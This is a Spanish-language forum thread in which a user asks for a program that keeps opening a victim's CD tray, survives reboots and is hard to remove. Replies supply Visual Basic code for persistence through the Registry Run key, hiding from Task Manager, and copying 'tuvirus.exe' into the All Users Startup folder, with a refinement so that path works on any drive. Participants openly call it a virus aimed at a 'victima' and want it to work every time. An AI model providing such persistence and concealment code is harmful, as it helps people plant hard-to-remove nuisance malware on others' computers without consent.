Pliz lean esto necesito un code...

[snok]

Hola miren me gustaria un codigo o algo que iciera lo siguiente:

Una vez k abra el programa le ara: se le abre la disketera *esto es facil* yo lo k kiero esk cada tiempo por ej cada 10 segundos se le abra otra vez y k no poda aser nah pa pararlo... y k si apaga el ordenador y lo vuelve a encender se le siga abriendo... kero desir el unico remedio formateando xD

PD: Me daria igual k lo pudiera kitar desde el administrador de tareas pero k fuese dificil encontrarlo.

Grax por su tiempo

[ziBboh]

Jajaja, brother, eso no tiene como unico remedio el Formatear la PC.
Para que quieres hacer esto?
mmm... curiosidad? mmm... aprendizaje?, cierto, pensare que es por eso.
Para empezar, necesitas buscar un poco más, ya que hay mucha información de como ejecutar tu aplicación al iniciar Windows. Pero como es costumbre, bueno aqui esta el code:

Código:

Dim Reg as Object
Set Reg = CreateObject("WScript.Shell")
Reg.RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\") _
        & "Tu_Aplicacion", "C:\Tu_Aplicacion.exe"

En ese code cambia el nombre de tu aplicacion y la ruta en la que se encuentra y listo.

Creo que para el temporizador que abrira el CD-Rom, lo tienes no? sino pues no creo que sea problema.

En cuanto al Administrador de tareas solo escribe esto:

Código:

App.TaskVisible = False

No saldra en taskmgr.exe, pero en los procesos si.

[Ther0x]

para que se ejecute con windows, también lo puedes copiar en la carpeta c:\documents and settings\all users\menú inicio\programas\inicio\tuvirus.exe

así si lo borran del registro seguirá ejecutandose


salu2

[zXxOsirisxXz]

Oh, igual podrias usar esto, en caso d k no sepas, donde la guarda el usuario a kien se lo mandar, y se registre con windows al iniciar tu PC.

Private Sub Command1_Click()
    CrearStringKey "HKEY_LOCAL_MAC HINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub CrearStringKey(Folder As String, Value As String)
On Error GoTo men
    Dim Fso As Object

    Set Fso = CreateObject("wscript.shell")

    Fso.RegWrite Folder, Value, "REG_SZ"


    Set Fso = Nothing
    Exit Sub
men:
    MsgBox Err.Descriptio Resume Next
End Sub

^^^ Eso es de ranefi ^_^ [una parte de el..]

[ziBboh]

c:\documents and settings\all users\menú inicio\programas\inicio\tuvirus.exe

Como harias eso?

Si, imagina que el HD de tu victima no es C: sino Q: (por ejemplo) entonces tu idea sale fuera y tu virus no se copiaria y ejecutaria, no crees?

[Ther0x]

ya pero en la mayoría de los casos el sistema está instalado en c:, yo creo que funcionaría en un 95% de los casos

de todas maneras se pueden usar las variables de entornno





salu2

[crypto136]

las aplicaciones no se hacen basadas en suposiciones sino en hechos, bueno al grano

c:\documents and settings\all users\menú inicio\programas\inicio\tuvirus.exe

Como harias eso?

Si, imagina que el HD de tu victima no es C: sino Q: (por ejemplo) entonces tu idea sale fuera y tu virus no se copiaria y ejecutaria, no crees?

eso seria con esto:

Código:

Environ("Homedrive") &"\documents and settings\all users\menú inicio\programas\inicio\tuvirus.exe"

ahora el problema seria que si la maquina estubiera en ingles ese si seria un problema lo que podrian hacer es poner la misma linea en varios idiomas y listo pero claro ponerlo cuando la aplicacion de error has esto sino has lo otro algo asi

on error goto english
. . .
. . .
. . .
Exit Sub
english:
 . . .
 . . .
 . . .

Espero haber sido claro!

[ziBboh]

Eso es!
Bingo, por algo eres Moderador!

Saludos crypto136, eres de los buenos.

[ziBboh]

pero en la mayoría de los casos el sistema está instalado en c:, yo creo que funcionaría en un 95% de los casos

rada, no es suficiente un 95%, sino el 100% de posibilidades de que funcione.